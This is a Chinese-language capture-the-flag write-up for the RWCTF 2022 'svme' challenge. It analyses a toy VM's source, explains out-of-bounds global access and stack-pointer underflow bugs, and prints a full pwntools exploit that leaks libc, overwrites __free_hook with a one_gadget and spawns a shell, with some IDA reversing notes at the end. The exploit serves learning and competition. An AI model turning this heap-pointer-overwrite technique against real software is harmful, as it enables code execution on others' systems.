RWctf-2022-svme

第一次做VM相关题目,之前也有看到过,但是逆向虚拟机实在太复杂,而且别人的wp根本不会去讲怎么逆向的。这次2022RWctf一上来就是vm题,但是给了源码,而且是比较简短的虚拟机,正好可以借此学习一下逆向vm与一般vm的写法和漏洞点。

svme

分析源码

指令集与结构体

在此vm中,有以下的指令集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
typedef enum {
NOOP = 0,
IADD = 1, // int add
ISUB = 2, // int sub
IMUL = 3, // int multiply
ILT = 4, // int less than
IEQ = 5, // int equal
BR = 6, // branch
BRT = 7, // branch if true
BRF = 8, // branch if true
ICONST = 9, // push constant integer
LOAD = 10, // load from local context
GLOAD = 11, // load from global memory
STORE = 12, // store in local context
GSTORE = 13, // store in global memory
PRINT = 14, // print stack top
POP = 15, // throw away top of stack
CALL = 16, // call function at address with nargs,nlocals
RET = 17, // return value from function
HALT = 18
} VM_CODE;

如果了解ARM架构会对此指令集比较熟悉,这个指令集和ARM很类似。

与之相关的,有以下的虚拟机操作函数。

1
2
3
4
5
6
7
VM *vm_create(int *code, int code_size, int nglobals);
void vm_free(VM *vm);
void vm_init(VM *vm, int *code, int code_size, int nglobals);
void vm_exec(VM *vm, int startip, bool trace);
void vm_print_instr(int *code, int ip);
void vm_print_stack(int *stack, int count);
void vm_print_data(int *globals, int count);

可以看到这个vm能做的比较少,只有新建,执行,free以及一些调试函数。

分析一下第一个函数的返回值,VM结构体

1
2
3
4
5
6
7
8
9
10
11
12
typedef struct {
int *code;
int code_size;

// global variable space
int *globals;
int nglobals;

// Operand stack, grows upwards
int stack[DEFAULT_STACK_SIZE];
Context call_stack[DEFAULT_CALL_STACK_SIZE];
} VM;

其中包含了代码指针(为什么用int?这是因为这个虚拟机是一个定长指令架构,每条指令长度都为4B,在.h文件中写明了)。观察以下交互代码,会更容易理解。下图中红色的是指令,蓝色的是指令的操作数。

image-20220127124332799

结构体还有全局变量起始地址和数量、向上生长的栈空间。接下来可以分析执行函数了。

vm_create

vm_create和vm_init起到创建vm和分配空间的作用

1
2
3
4
5
6
VM *vm_create(int *code, int code_size, int nglobals)
{
VM *vm = calloc(1, sizeof(VM));
vm_init(vm, code, code_size, nglobals);
return vm;
}
1
2
3
4
5
6
7
void vm_init(VM *vm, int *code, int code_size, int nglobals)
{
vm->code = code;
vm->code_size = code_size;
vm->globals = calloc(nglobals, sizeof(int));
vm->nglobals = nglobals;
}

vm_exec

vm_exec是虚拟机执行函数。虚拟机整体是利用switch case执行的内部定义代码。这个函数比较长。

首先是寄存器定义。此虚拟机只模拟了三个寄存器,指令、栈指针和调用栈指针。可想而知,此虚拟机是利用栈传递函数调用的参数的。

1
2
3
4
5
6
void vm_exec(VM *vm, int startip, bool trace)
{
// registers
int ip; // instruction pointer register
int sp; // stack pointer register
int callsp; // call stack pointer register

接下来是初始化值的设置。对于上面三个寄存器其中ip设置为main.c中的启动位置,为0,另外两个设置为-1,表示未初始化。

1
2
3
4
5
6
7
8
9
int a = 0;
int b = 0;
int addr = 0;
int offset = 0;

ip = startip;
sp = -1;
callsp = -1;
int opcode = vm->code[ip];

接下来是循环体。用于处理自定义汇编代码

1
2
3
4
5
6
7
8
9
while (opcode != HALT && ip < vm->code_size) {
if (trace) vm_print_instr(vm->code, ip);
ip++; //jump to next instruction or to operand
switch (opcode) {
case IADD:
b = vm->stack[sp--]; // 2nd opnd at top of stack
a = vm->stack[sp--]; // 1st opnd 1 below top
vm->stack[++sp] = a + b; // push result
break;

可以看到这里trace其实是给了我们一个调试函数,可以打印吃vm当前执行的指令和栈。对于我们理解vm如何运作至关重要。

在这里,我们看到了第一个指令IADD。根据注释,可以看出它其实是整数相加。怎么运作呢?首先取出a,b两个操作数(存在栈上)并同时减少sp栈指针寄存器(栈向上生长)接着把栈顶存上a+b的值也就是iadd的结果。

接着的isub和imul也是一模一样的。需要注意的是isub是先入栈的作为被减数。例如isub 5 2计算的是5-2=3,后面3被放回栈顶。

1
2
3
4
5
6
7
8
9
10
case ISUB:
b = vm->stack[sp--];
a = vm->stack[sp--];
vm->stack[++sp] = a - b;
break;
case IMUL:
b = vm->stack[sp--];
a = vm->stack[sp--];
vm->stack[++sp] = a * b;
break;

后面两个操作数是比较大小。基本语法和上面十分类似,大家可以自己学着分析。主语ilt是将第一个操作数和第二个做对比。例如ilt 2 3返回的是true(放在栈顶),因为2小于3。

1
2
3
4
5
6
7
8
9
case ILT:
b = vm->stack[sp--];
a = vm->stack[sp--];
vm->stack[++sp] = (a < b) ? true : false;
break;
case IEQ:
b = vm->stack[sp--];
a = vm->stack[sp--];
vm->stack[++sp] = (a == b) ? true : false;

接下来是三个跳转指令。

1
2
3
4
5
6
7
8
9
10
11
case BR: // 直接跳转
ip = vm->code[ip];
break;
case BRT: // 正确时跳转
addr = vm->code[ip++];
if (vm->stack[sp--] == true) ip = addr;
break;
case BRF: // 错误时跳转
addr = vm->code[ip++];
if (vm->stack[sp--] == false) ip = addr;
break;

跳转指令作为控制指令的核心内容,需要认真分析构成形式。

直接跳转:如果碰到BR指令,可以看到它不需要操作数,直接取出代码段的下一条指令开始执行。相当于x86中的jmp。

条件跳转:条件跳转判断的依据是在栈顶的操作数。注意这里很有意思的一点是true和false全部宏定义为1和0.这意味着我们完全可以通过写入值来作为跳转条件执行汇编代码。这里请注意,为什么这里的addr = vm->code[ip++];而不是像br一样的直接是ip呢?因为跳转有错误的可能,如果错误我们就直接按照原先的指令执行下去即可。一般原先的指令将会是一个jmp,这样就不会执行到code[ip++]的位置了。

1
2
3
4
5
6
7
case ICONST:
vm->stack[++sp] = vm->code[ip++]; // push operand
break;
case LOAD: // load local or arg
offset = vm->code[ip++];
vm->stack[++sp] = vm->call_stack[callsp].locals[offset];
break;

接下来是全局变量设置指令。iconst指令起到初始化变量,将他们放置在栈上的作用。load指令先获取要load第几个操作数,之后将他储存在当前栈上。这里callsp变量记录了当前函数所在栈。locals表示储存的变量。在后面会被设置。

1
2
3
4
5
6
7
8
9
10
11
12
case GLOAD: // load from global memory
addr = vm->code[ip++];
vm->stack[++sp] = vm->globals[addr];
break;
case STORE:
offset = vm->code[ip++];
vm->call_stack[callsp].locals[offset] = vm->stack[sp--];
break;
case GSTORE: // store to global variable
addr = vm->code[ip++];
vm->globals[addr] = vm->stack[sp--];
break;

这里可以看到对于全局变量,会被放在不同于之前locals的栈中,以便所有函数都可以访问到。注意这里store指令设置了locals数组,记录了在多少偏移量位置,放置什么参数。其中参数就是之前在栈上的,使用GLOAD设置的内容。通过以下程序片段,能够更好的理解以上两个操作数。

image-20220127121027358

1
2
3
4
5
6
case PRINT:
printf("%d\n", vm->stack[sp--]);
break;
case POP:
--sp;
break;

print和pop函数自然不用说。注意这里pop似乎是只减少栈指针,并不返回数据。不过可以和print结合使用。

比较重要的是call指令,该指令的作用是调用函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
case CALL:
// expects all args on stack
addr = vm->code[ip++]; // index of target function
int nargs = vm->code[ip++]; // how many args got pushed
int nlocals = vm->code[ip++]; // how many locals to allocate
++callsp; // bump stack pointer to reveal space for this call
vm_context_init(&vm->call_stack[callsp], ip, nargs+nlocals);
// copy args into new context
for (int i=0; i<nargs; i++) {
vm->call_stack[callsp].locals[i] = vm->stack[sp-i];
}
sp -= nargs;
ip = addr; // jump to function
break;

调用的过程如下

  • 栈上第一个数据是调用函数地址
  • 第二个数据是调用时参数个数
  • 第三个数据是被调函数(callee)本地局部变量数量。

接下来自增栈指针,表示切换栈到此函数位置。初始化callee调用栈。其中vm_context_init内容如下所示。

1
2
3
4
5
6
7
8
9
10
11
typedef struct {
int returnip;
int locals[DEFAULT_NUM_LOCALS];
} Context;

static void vm_context_init(Context *ctx, int ip, int nlocals) {
if ( nlocals>DEFAULT_NUM_LOCALS ) {
fprintf(stderr, "too many locals requested: %d\n", nlocals);
}
ctx->returnip = ip;
}

可以看到也没有做很多事情。主要是设置了context->returnip。这个我们后面也会用到。

接下来把原先栈(caller)的参数拷贝到被调栈中,修改caller的栈指针位置(减去之前复制好的参数)

最后把ip寄存器改成当前要执行函数的第一条地址。

最后的ret函数,确保能够回到caller。这里似乎可以看出,调用栈深度只能支持1,因为每次复制参数都是从main的栈中复制的。

1
2
3
4
case RET:
ip = vm->call_stack[callsp].returnip;
callsp--; // pop context
break;

这里的returnip正是上面所设置的。至此我们分析完了vm_exec中的所有指令。可以看出还是比较简单的。

漏洞分析

image-20220127112521974

保护全开的虚拟机。回想一下创建虚拟机时是在堆上,所有的指令也都在堆上,因此栈溢出也无法实现,但是堆相关的操作也仅仅有开始的create和结尾的free,操作受限十分严重。一开始我就分析到这里,没有了思路。

参考的hackinTN的wp,接下来做一点分析。

step1: get host stack

注意到VM结构体里面code指针指向的是从host输入的指针。我们需要得到这个数据。利用对global一开始设置的大小为0,可以实现向上溢出,复制到我们的虚拟机栈空间。由于VM本身是64位的,需要经过两次load得到较大和较小的两个值。一旦得到了这个数据,就可以覆盖globals指针为这个值从而对栈操作。(关键还是覆盖指针)这里的0x2100是因为vm结构体大小是0x2100,这样的偏移对应的正好是code指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
'''
gload {-0x2100 // 4 + 1}
store 0
gload {-0x2100 // 4}
store 1
print
print
print
'''
code=b""
code+=p32(11) + p32(0xfffff7c1)
code+=p32(12) + p32(0x0)
code+=p32(11) + p32(0xfffff7c0)
code+=p32(12) + p32(0x1)
code+=p32(14)
code+=p32(14)
code+=p32(14)

step2

目的相当于是把libc_start_main加载到vm栈空间,后面用来计算free_hook。这里的偏移通过调试得到libc相关地址和globals指针的偏移量(在main函数的ret中,一定包含libc_start_main)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# step2 get __libc_start_main, using gdb to find __libc_start_main is 0x218 to *globals
# load it to stack
"""
load 1
load 0
iconst 0
gload {0x218 // 4 + 1}
store 0
gload {0x218 // 4}
"""

code+=p32(LOAD) + p32(1)
code+=p32(LOAD) + p32(0)
code+=p32(ICONST) + p32(0)
code+=p32(GLOAD) + p32(135)
code+=p32(STORE) + p32(0)
code+=p32(GLOAD) + p32(134)

step3

第三步:计算libc基地址以及free_hook地址

1
2
3
4
5
6
7
8
9
10
11
# step3 get free_hook, now libc_addr is already on the vm stack, we can using it to calculate free_hook addr
"""
iconst {libc.libc_start_main_return}
isub
iconst {libc.symbols['__free_hook']}
iadd"""

code+=p32(ICONST) + p32(libc.symbols['__libc_start_main'])
code+=p32(ISUB) # get libc_base and store on VM's stack
code+=p32(ICONST) + p32(libc.symbols['__free_hook'])
code+=p32(IADD) # libc_base+free_hook store on vm's stack

step4

接下来要做两件事情:

  • 覆盖*data为free_hook,从而可以写*free_hook(虚拟机内部解引用*data)
  • 计算one_gardet,覆盖free_hook

注意到print指令能够单纯使得栈指针减少,通过它我们能够很轻松的实现sp下溢出。结合store就可以在vm结构体中越界覆盖指针。

调试分析

首先看到globals地址

image-20220127222913557

之后还会创建一个很诡异的,大小为0x400的堆,这个让我迷惑了很久。后来才看见是printf自己创建的。印象里在2021国赛的题目中见到过,似乎还利用了创建堆的性质。

image-20220127223151235

这里看到经过step1,globals指针地址已经被改掉

image-20220128095331460

接下来到gload {0x218 / 4 + 1}这里,要找libc_start_main地址。

在gdb中可以看到存在这样一条地址。

image-20220128095752952

image-20220128095738557

可以看出来和libc比较接近。只要找到偏移减一下就可以了。

image-20220128095928257

可以看到能够拿到正确的libc

image-20220128100347355

之后三次print让栈指针减少,我们的目的又是修改globals指针为free_hook,从而写free_hook。

在没有修改的时候

image-20220128100631983

经过load 1 和load 0之后(相当于调用栈是我们的一个临时储存栈)数据将被保存在sp指向的位置。可以看到已经成功写入了free_hook地址。

image-20220128100845424

之后其实保险点可以system(“/bin/sh”)因为我们也可以掌握VM中的数据。这里先尝试og了。

之后栈平衡,我们把free_hook又拿回来到vm栈空间。因为得到的free_hook地址减去free_hook的符号偏移,加上og地址就可以得到最终地址。

最后两部直接用gsstore,不能用load(思考,为什么?)因为这里要写globals[addr],也就是修改*globals,即globals指针中的内容。但是load是写vm->stack[++sp],也就是修改Globals指针。因此要用两种修改方法。

至此完成了改写free_hook。使用第二个ong_gardet,成功获取shell

image-20220128104118667

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
from pwn import *
filename="./svme"
io = process(filename)
# context.log_level='debug'
elf=ELF(filename)
libc=ELF('./libc-2.31.so')
context.terminal=['tmux','split','-hp','60']



NOOP = 0
IADD = 1
ISUB = 2
IMUL = 3
ILT = 4
IEQ = 5
BR = 6
BRT = 7
BRF = 8
ICONST = 9
LOAD = 10
GLOAD = 11
STORE = 12
GSTORE = 13
PRINT = 14
POP = 15
CALL = 16
RET = 17
HALT = 18

og=[0xe6c7e,0xe6c81,0xe6c84]



def debug():
cmd="brva 0x1989"
gdb.attach(io,cmd)

#----------------------------------------------------------------------------------------
# step1: get host stack info
# 0xfffff7c1 = (-0x2100/4+1) ----> code pointer
'''
gload {-0x2100 // 4 + 1}
store 0
gload {-0x2100 // 4}
store 1
print
print
print
'''
code=b""
code+=p32(GLOAD) + p32(0xfffff7c1)
code+=p32(STORE) + p32(0x0)
code+=p32(GLOAD) + p32(0xfffff7c0)
code+=p32(STORE) + p32(0x1)
code+=p32(PRINT)
code+=p32(PRINT)
code+=p32(PRINT)

#----------------------------------------------------------------------------------------
# step2 get __libc_start_main, using gdb to find __libc_start_main is 0x218 to *globals
# load it to stack
"""
load 1
load 0
iconst 0
gload {0x218 // 4 + 1}
store 0
gload {0x218 // 4}
"""

code+=p32(LOAD) + p32(1)
code+=p32(LOAD) + p32(0)
code+=p32(ICONST) + p32(0)
code+=p32(GLOAD) + p32(135)
code+=p32(STORE) + p32(0)
code+=p32(GLOAD) + p32(134)

#----------------------------------------------------------------------------------------

# step3 get free_hook, now libc_addr is already on the vm stack, we can using it to calculate free_hook addr
"""
iconst {libc.libc_start_main_return}
isub
iconst {libc.symbols['__free_hook']}
iadd"""

code+=p32(ICONST) + p32(159923) # using gdb
code+=p32(ISUB) # get libc_base and store on VM's stack
code+=p32(ICONST) + p32(libc.symbols['__free_hook'])
code+=p32(IADD) # libc_base+free_hook store on vm's stack

#----------------------------------------------------------------------------------------
# step4: replace free_hook
# first store free_hook to *data, then replace it woth og
# one_gadget_address = __free_hook - libc.symbols['__free_hook'] + one_gadget_offset
"""
store 1
print
print
print
load 1
load 0
iconst 0
load 0
load 1
iconst {libc.symbols['__free_hook']}
isub
iconst {one_gadget}
iadd
gstore 0
gstore 1
halt"""

code+=p32(STORE)+p32(1)
code+=p32(PRINT)
code+=p32(PRINT)
code+=p32(PRINT)
code+=p32(LOAD)+p32(1) # Replace the `data` ptr
code+=p32(LOAD)+p32(0)
code+=p32(ICONST)+p32(0)
code+=p32(LOAD)+p32(0)
code+=p32(LOAD)+p32(1)
code+=p32(ICONST)+p32(libc.symbols['__free_hook'])
code+=p32(ISUB)
code+=p32(ICONST)+p32(og[1])
code+=p32(IADD)
code+=p32(GSTORE)+p32(0) # Overwrite the `__free_hook`
code+=p32(GSTORE)+p32(1)
# code+=p32(19) # trigger warning
code+=p32(HALT)



# debug()
code = code.ljust(512, b"\x00")
io.send(code)
io.interactive()

image-20220128104118667

逆向分析

这是难得的可以从源代码角度辅助逆向分析VM的机会。幸好这是一个没有去除符号表的vm(想起来上次逆第五空间没有符号表的vm简直是醉了)

image-20220128104445484

vm_create和vm_init中还是一目了然的

image-20220128104545214

image-20220128104600579

这里比较头疼的地方就是不知道这些指针代表着什么。不过可以通过有名称的函数对其的操作辅助理解。

关键的exec跳转位置

image-20220128104808492

由于是switch case,ida无法识别出来,确实。。很难看明白

image-20220128105202395

不知道有没有合适的插件,如果没有只能动态调试看看了。还是很复杂的。

文章目录
  1. 1. svme
    1. 1.1. 分析源码
      1. 1.1.1. 指令集与结构体
      2. 1.1.2. vm_create
      3. 1.1.3. vm_exec
    2. 1.2. 漏洞分析
      1. 1.2.1. step1: get host stack
      2. 1.2.2. step2
      3. 1.2.3. step3
      4. 1.2.4. step4
      5. 1.2.5. 调试分析
    3. 1.3. exp
    4. 1.4. 逆向分析
|